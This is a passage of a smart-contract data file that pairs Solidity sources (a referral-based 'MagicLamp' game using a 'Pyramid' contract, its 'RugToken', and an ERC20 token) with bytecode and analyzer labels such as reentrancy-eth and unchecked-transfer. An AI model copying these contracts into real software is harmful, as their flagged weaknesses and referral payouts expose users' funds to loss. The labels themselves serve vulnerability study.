1810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b61303e565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc960008301886130b8565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf7606083018561316c565b613d0460808301846130b8565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb600083018961316c565b613ee860208301886130b8565b613ef56040830187613be7565b613f026060830186613be7565b613f0f608083018561316c565b613f1c60a08301846130b8565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027484e2e58ef3a9cca190c69a8559292c83e0b35fc86ba98eb64cfd7312e137164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,785 |
0xA035e08857eFBB921aB52419E005F3Fdc27A1b8f
|
// SPDX-License-Identifier: MIT
pragma solidity ^ 0.6.6;
contract MagicLamp{
address THIS = address(this);
Pyramid public PiZZa;
RugToken public Rugs;
uint public wishes = 1000;
address public CarpetRider;
uint public CarpetRiderHP;
address public GENIE;
uint public GENIE_generation;
address public DEV;
ERC20 public Resolve;
address payable address0 = address(0);
mapping(address => address) public gateway;
mapping(address => bool) public initiated;
mapping(address => uint) public pocket;
constructor() public{
PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE);
Rugs = new RugToken();
DEV = msg.sender;
GENIE = DEV;
CarpetRider = DEV;
Resolve = PiZZa.resolveToken();
gateway[GENIE] = GENIE;
initiated[DEV] = true;
}
function weight(address addr) public view returns(uint){
return Resolve.balanceOf(addr);
}
function rugs(address addr) public view returns(uint){
return Rugs.balanceOf(addr);
}
function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){
address sender = msg.sender;
if( !initiated[sender] ){
if( weight(_gateway) > 0 && _gateway != address0){
gateway[sender] = _gateway;
}else{
gateway[sender] = CarpetRider;
}
initiated[sender] = true;
}
if(_red>1e18) _red = 1e18;
if(_green>1e18) _green = 1e18;
if(_blue>1e18) _blue = 1e18;
uint[] memory UINTs = new uint[](4);
UINTs[0] = msg.value * 3 / 100;
UINTs[1] = msg.value * 2 / 100;
UINTs[2] = msg.value * 1 / 100;
UINTs[3] = msg.value * 6 / 1000;
uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3];
address lvl1 = gateway[sender];
if( weight(lvl1) > weight(sender) ){
pocket[ lvl1 ] += UINTs[0];
}else{
carpetRiderCashout(UINTs[0]);
emit ReffSnatch(CarpetRider, gateway[sender]);
gateway[sender] = CarpetRider;
}
address lvl2 = gateway[lvl1];
if( weight(lvl2) > weight(sender) && lvl2 != address0 ){
pocket[ lvl2 ] += UINTs[1];
}else{
carpetRiderCashout(UINTs[1]);
emit ReffSnatch(sender, gateway[lvl1]);
gateway[lvl1] = sender;
}
address lvl3 = gateway[lvl2];
if( weight(lvl3) > weight(sender) && lvl3 != address0 ){
pocket[ lvl3 ] += UINTs[2];
}else{
carpetRiderCashout(UINTs[2]);
emit ReffSnatch(sender, gateway[lvl2]);
gateway[lvl2] = sender;
}
pocket[ GENIE ] += UINTs[3];
uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue);
if(CarpetRider != sender){
uint damage = weight(sender);
if( CarpetRiderHP <= damage ){
CarpetRider = sender;
CarpetRiderHP = weight(sender);
emit RugPulled(sender, CarpetRider, CarpetRiderHP, false);
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, false);
}
}
}else{
if( CarpetRiderHP < weight(sender) && msg.value > 0.001 ether){
CarpetRiderHP = weight(sender);
emit Healed(sender, weight(sender));
}
}
if(wishes > 0 && msg.value > 0.01 ether){
wishes -= 1;
Rugs.mint(sender, createdPiZZa);
}
return createdPiZZa;
}
event Healed(address rider, uint HP);
event RugPulled(address winner, address loser, uint HP, bool rugMagic);
event Damaged(address CarpetRider, uint damage, bool rugMagic);
event ReffSnatch(address snatcher, address slacker);
event CarpetRiderCashout(address buyer, uint ETH);
function carpetRiderCashout(uint ETH) internal{
pocket[CarpetRider] += ETH;
emit CarpetRiderCashout(CarpetRider, ETH);
}
event Withdraw(address account, uint amount);
function withdraw() public{
address sender = msg.sender;
uint amount = pocket[sender];
if( amount>0 ){
pocket[sender] = 0;
(bool success, ) = sender.call{value:amount}("");
emit Withdraw(sender, amount);
require(success, "Transfer failed.");
}else{
revert();
}
}
event RechargeMagicLamp( address indexed addr, uint256 amountStaked );
event DamageGenie(address rider, address genie, uint damage);
event KillGenie(address rider, address genie);
function tokenFallback(address from, uint value, bytes calldata _data) external{
if(msg.sender == address(Resolve) ){
if(wishes == 0){
wishes += value / 1e16; //100 per resolve token
GENIE = from;
//takes the resolve tokens used to recharge the magic lamp and it stakes those
//only the original dev benefits from these soulecules being staked
//the address that recharged the lamp benefits as GENIE
//only every 6th generation stakes soulecules. waits for first 6
if(GENIE_generation % 6 == 0){
uint earnings = PiZZa.resolveEarnings( THIS );
if(earnings > 0){
PiZZa.withdraw(earnings);
(bool success, ) = DEV.call{value:earnings}("");
require(success, "Transfer failed.");
}
}
GENIE_generation += 1;
emit RechargeMagicLamp(from, wishes);
}else{
revert("only when there is 0 wishes");
}
}else{
if( msg.sender == address(Rugs) ){
require( value > 0 );
uint rugMagic = value;
if(from == CarpetRider){
if(DEV != GENIE && CarpetRider != GENIE){
rugMagic = rugMagic / 1e18;
if(rugMagic >= wishes){
//kill
if(wishes>0){
wishes = 0;
uint soulecules = Resolve.balanceOf(THIS)/2;
if (soulecules>0) Resolve.transfer( address(PiZZa), soulecules);
Resolve.transfer( CarpetRider, soulecules );
emit KillGenie(CarpetRider, GENIE);
}else{
revert("they're already dead.");
}
}else{
//damage
wishes -= rugMagic;
emit DamageGenie(CarpetRider, GENIE, rugMagic);
}
}else{
//You can send the lamp carpets... no problem.
}
}else{
uint damage = rugMagic;
if( CarpetRiderHP <= damage ){
CarpetRider = from;
CarpetRiderHP = weight(from);
emit RugPulled(from, CarpetRider, CarpetRiderHP, true);
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, true );
}
}
}
}else{
revert("no want");
}
}
}
event GenieBlast(
address indexed from,
address indexed to,
uint256 amount
);
function genieBlast(address target, uint heat) external{
if(msg.sender == GENIE && DEV != GENIE && target != CarpetRider){
Rugs.rugBurn(target, heat);
emit GenieBlast(GENIE, target, heat);
}
}
}
abstract contract Pyramid{
function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds);
function resolveToken() public view virtual returns(ERC20);
function resolveEarnings(address _owner) public view virtual returns (uint256 amount);
function withdraw(uint amount) public virtual returns(uint);
}
abstract contract ERC20{
function balanceOf(address _owner) public view virtual returns (uint256 balance);
function transfer(address _to, uint _value) public virtual returns (bool);
}
contract RugToken{
string public name = "Comfy Rugs";
string public symbol = "RUG";
uint8 constant public decimals = 18;
address public owner;
constructor() public{
owner = msg.sender;
}
modifier ownerOnly{
require(msg.sender == owner);
_;
}
event Mint(
address indexed addr,
uint256 amount
);
function mint(address _address, uint _value) external ownerOnly(){
balances[_address] += _value;
_totalSupply += _value;
emit Mint(_address, _value);
}
mapping(address => uint256) public balances;
uint public _totalSupply;
mapping(address => mapping(address => uint)) approvals;
event Transfer(
address indexed from,
address indexed to,
uint256 amount,
bytes data
);
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
event RugBurn(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function rugBurn(address _target, uint _value) public virtual{
address sender = msg.sender;
require( _value <= balances[sender] );
require( balances[_target] > 0 );
uint damage;
if( balances[_target] <= _value){
damage = balances[_target];
}else{
damage = _value;
}
balances[sender] -= damage;
balances[_target] -= damage;
_totalSupply -= damage*2;
emit RugBurn(sender, _target, damage);
}
// Function that is called when a user or another contract wants to transfer funds.
function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) {
if( isContract(_to) ){
return transferToContract(_to, _value, _data);
}else{
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public virtual returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)){
return transferToContract(_to, _value, empty);
}else{
return transferToAddress(_to, _value, empty);
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function moveTokens(address _from, address _to, uint _amount) internal virtual{
require( _amount <= balances[_from] );
//update balances
balances[_from] -= _amount;
balances[_to] += _amount;
}
function allowance(address src, address guy) public view returns (uint) {
return approvals[src][guy];
}
function transferFrom(address src, address dst, uint amount) public returns (bool){
address sender = msg.sender;
require(approvals[src][sender] >= amount);
require(balances[src] >= amount);
approvals[src][sender] -= amount;
moveTokens(src,dst,amount);
bytes memory empty;
emit Transfer(sender, dst, amount, empty);
emit Transfer(sender, dst, amount);
return true;
}
event Approval(address indexed src, address indexed guy, uint amount);
function approve(address guy, uint amount) public returns (bool) {
address sender = msg.sender;
approvals[sender][guy] = amount;
emit Approval( sender, guy, amount );
return true;
}
function isContract(address _addr) public view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}else {
return false;
}
}
}
abstract contract ERC223ReceivingContract{
function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual;
}
|
0x6080604052600436106101095760003560e01c80634455b08511610095578063c1eb5ddd11610064578063c1eb5ddd14610381578063dffb2d4e14610396578063e4b2acfe146103c9578063f4396e2a146103de578063fef502ce1461041157610109565b80634455b085146102925780634e13c2ed146102a75780638c0449ce146102bc578063c0ee0b8a146102ef57610109565b80631db6597a116100dc5780631db6597a1461020357806335504bde1461023e57806337f50f57146102535780633ccfd60b14610268578063428109f41461027d57610109565b8063049939f31461010e57806313491bc8146101555780631622dbe414610186578063180c06e5146101d0575b600080fd5b34801561011a57600080fd5b506101416004803603602081101561013157600080fd5b50356001600160a01b0316610426565b604080519115158252519081900360200190f35b34801561016157600080fd5b5061016a61043b565b604080516001600160a01b039092168252519081900360200190f35b6101be6004803603608081101561019c57600080fd5b506001600160a01b03813516906020810135906040810135906060013561044a565b60408051918252519081900360200190f35b3480156101dc57600080fd5b5061016a600480360360208110156101f357600080fd5b50356001600160a01b0316610d2b565b34801561020f57600080fd5b5061023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610d46565b005b34801561024a57600080fd5b5061016a610e4a565b34801561025f57600080fd5b506101be610e59565b34801561027457600080fd5b5061023c610e5f565b34801561028957600080fd5b5061016a610f68565b34801561029e57600080fd5b506101be610f77565b3480156102b357600080fd5b506101be610f7d565b3480156102c857600080fd5b506101be600480360360208110156102df57600080fd5b50356001600160a01b0316610f83565b3480156102fb57600080fd5b5061023c6004803603606081101561031257600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561034257600080fd5b82018360208201111561035457600080fd5b8035906020019184600183028401116401000000008311171561037657600080fd5b509092509050611006565b34801561038d57600080fd5b5061016a6116f2565b3480156103a257600080fd5b506101be600480360360208110156103b957600080fd5b50356001600160a01b0316611701565b3480156103d557600080fd5b5061016a611713565b3480156103ea57600080fd5b506101be6004803603602081101561040157600080fd5b50356001600160a01b0316611722565b34801561041d57600080fd5b5061016a611773565b600c6020526000908152604090205460ff1681565b6004546001600160a01b031681565b336000818152600c602052604081205490919060ff1661051657600061046f87611722565b11801561048a5750600a546001600160a01b03878116911614155b156104c2576001600160a01b038181166000908152600b6020526040902080546001600160a01b0319169188169190911790556104f2565b6004546001600160a01b038281166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b0381166000908152600c60205260409020805460ff191660011790555b670de0b6b3a764000085111561053257670de0b6b3a764000094505b670de0b6b3a764000084111561054e57670de0b6b3a764000093505b670de0b6b3a764000083111561056a57670de0b6b3a764000092505b60408051600480825260a082019092526060916020820160808036833701905050905060646003340204816000815181106105a157fe5b602090810291909101015260646002340204816001815181106105c057fe5b602090810291909101015260643404816002815181106105dc57fe5b60209081029190910101526103e86006340204816003815181106105fc57fe5b60200260200101818152505060008160038151811061061757fe5b60200260200101518260028151811061062c57fe5b60200260200101518360018151811061064157fe5b60200260200101518460008151811061065657fe5b6020026020010151340303030390506000600b6000856001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b031690506106ab84611722565b6106b482611722565b11156106f857826000815181106106c757fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556107a3565b6107158360008151811061070857fe5b6020026020010151611782565b6004546001600160a01b038581166000908152600b602090815260409182902054825194841685529092169183019190915280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16004546001600160a01b038581166000908152600b6020526040902080546001600160a01b031916919092161790555b6001600160a01b038082166000908152600b6020526040902054166107c785611722565b6107d082611722565b1180156107eb5750600a546001600160a01b03828116911614155b1561082e57836001815181106107fd57fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556108c4565b61083e8460018151811061070857fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848a16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169187169190911790555b6001600160a01b038082166000908152600b6020526040902054166108e886611722565b6108f182611722565b11801561090c5750600a546001600160a01b03828116911614155b1561094f578460028151811061091e57fe5b6020908102919091018101516001600160a01b0383166000908152600d9092526040909120805490910190556109e5565b61095f8560028151811061070857fe5b6001600160a01b038083166000908152600b6020908152604091829020548251848b16815293169083015280517f2d5011f2e318269531b37e0c93259ee0ca45e17c9940388ad8ab193696823a889281900390910190a16001600160a01b038281166000908152600b6020526040902080546001600160a01b0319169188169190911790555b846003815181106109f257fe5b6020026020010151600d6000600660009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020600082825401925050819055506000600160009054906101000a90046001600160a01b03166001600160a01b0316631622dbe486898e8e8e6040518663ffffffff1660e01b815260040180856001600160a01b03166001600160a01b031681526020018481526020018381526020018281526020019450505050506020604051808303818588803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b50505050506040513d6020811015610af357600080fd5b50516004549091506001600160a01b03888116911614610c09576000610b1888611722565b90508060055411610ba757600480546001600160a01b0319166001600160a01b038a16179055610b4788611722565b6005819055600454604080516001600160a01b03808d1682529092166020830152818101929092526000606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a1610c03565b8015610c0357600580548290039055600454604080516001600160a01b03909216825260208201839052600082820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b50610c87565b610c1287611722565b600554108015610c28575066038d7ea4c6800034115b15610c8757610c3687611722565b6005557fb714a55d7bb8d35d8cf25c68ae8435a49a2faaffa841fcb1303d75dbf0a9056887610c6481611722565b604080516001600160a01b03909316835260208301919091528051918290030190a15b6000600354118015610c9f5750662386f26fc1000034115b15610d1c5760038054600019019055600254604080516340c10f1960e01b81526001600160a01b038a8116600483015260248201859052915191909216916340c10f1991604480830192600092919082900301818387803b158015610d0357600080fd5b505af1158015610d17573d6000803e3d6000fd5b505050505b9b9a5050505050505050505050565b600b602052600090815260409020546001600160a01b031681565b6006546001600160a01b031633148015610d7157506006546008546001600160a01b03908116911614155b8015610d8b57506004546001600160a01b03838116911614155b15610e4657600254604080516370cc9bf360e11b81526001600160a01b038581166004830152602482018590529151919092169163e19937e691604480830192600092919082900301818387803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b50506006546040805185815290516001600160a01b0380881695509290921692507f9ed141331131ae4ba3bf0a1b4f88306f16b142edd2e5ddadede92b0ac0cfb81c919081900360200190a35b5050565b6001546001600160a01b031681565b60035481565b336000818152600d60205260409020548015610109576001600160a01b0382166000818152600d60205260408082208290555190919083908381818185875af1925050503d8060008114610ecf576040519150601f19603f3d011682016040523d82523d6000602084013e610ed4565b606091505b5050604080516001600160a01b03861681526020810185905281519293507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929081900390910190a180610f62576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b50610e46565b6009546001600160a01b031681565b60055481565b60075481565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610fd457600080fd5b505afa158015610fe8573d6000803e3d6000fd5b505050506040513d6020811015610ffe57600080fd5b505192915050565b6009546001600160a01b0316331415611296576003546112445760038054662386f26fc100008504019055600680546001600160a01b0319166001600160a01b038616178155600754066111f5576001546000805460408051632428fc8d60e11b81526001600160a01b039283166004820152905192939190911691634851f91a91602480820192602092909190829003018186803b1580156110a857600080fd5b505afa1580156110bc573d6000803e3d6000fd5b505050506040513d60208110156110d257600080fd5b5051905080156111f35760015460408051632e1a7d4d60e01b81526004810184905290516001600160a01b0390921691632e1a7d4d916024808201926020929091908290030181600087803b15801561112a57600080fd5b505af115801561113e573d6000803e3d6000fd5b505050506040513d602081101561115457600080fd5b50506008546040516000916001600160a01b03169083908381818185875af1925050503d80600081146111a3576040519150601f19603f3d011682016040523d82523d6000602084013e6111a8565b606091505b50509050806111f1576040805162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b604482015290519081900360640190fd5b505b505b60078054600101905560035460408051918252516001600160a01b038616917f9bddd43f854dbd4541f36bc4103eaee6579d2d3a16e59dbe02cc4485ff7901bb919081900360200190a2611291565b6040805162461bcd60e51b815260206004820152601b60248201527f6f6e6c79207768656e2074686572652069732030207769736865730000000000604482015290519081900360640190fd5b6116ec565b6002546001600160a01b03163314156116b557600083116112b657600080fd5b60045483906001600160a01b03868116911614156115c2576006546008546001600160a01b0390811691161480159061130057506006546004546001600160a01b03908116911614155b156115bd57670de0b6b3a7640000810490506003548110611561576003541561151757600060038190556009548154604080516370a0823160e01b81526001600160a01b039283166004820152905160029392909216916370a0823191602480820192602092909190829003018186803b15801561137d57600080fd5b505afa158015611391573d6000803e3d6000fd5b505050506040513d60208110156113a757600080fd5b5051816113b057fe5b049050801561143f576009546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b505050506040513d602081101561143c57600080fd5b50505b600954600480546040805163a9059cbb60e01b81526001600160a01b0392831693810193909352602483018590525192169163a9059cbb916044808201926020929091908290030181600087803b15801561149957600080fd5b505af11580156114ad573d6000803e3d6000fd5b505050506040513d60208110156114c357600080fd5b5050600454600654604080516001600160a01b03938416815292909116602083015280517f2919e1430f0b7f7575a3bd2bab1fa927e6f0567c0d9ecf3b47c28dc380c17e459281900390910190a15061155c565b6040805162461bcd60e51b81526020600482015260156024820152743a3432bc93b9329030b63932b0b23c903232b0b21760591b604482015290519081900360640190fd5b6115bd565b600380548290039055600454600654604080516001600160a01b03938416815291909216602082015280820183905290517f05e516ede0a038f1df924374b640792967edaa07bf45ba9a28ddaa37a67c015e9181900360600190a15b6116af565b6005548190811061165157600480546001600160a01b0319166001600160a01b0388161790556115f186611722565b6005819055600454604080516001600160a01b03808b1682529092166020830152818101929092526001606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a16116ad565b80156116ad57600580548290039055600454604080516001600160a01b03909216825260208201839052600182820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b505b506116ec565b6040805162461bcd60e51b81526020600482015260076024820152661b9bc81dd85b9d60ca1b604482015290519081900360640190fd5b50505050565b6008546001600160a01b031681565b600d6020526000908152604090205481565b6002546001600160a01b031681565b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610fd457600080fd5b6006546001600160a01b031681565b600480546001600160a01b039081166000908152600d6020908152604091829020805486019055925481519216825291810183905281517f369b49a175b49589a42180af73154b420cc25e5a30a0d050060824f7705c9617929181900390910190a15056fea26469706673582212203120d88767a8234ab8de95bd66b68374e9207700cad444e44a940ee6eaa5d70c64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,786 |
0x8f9dd4059646771d553b2e1c3c8b6be1d06abc32
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Kotoinu is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Koto Inu';
string private _symbol = 'KOTO';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10**10 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
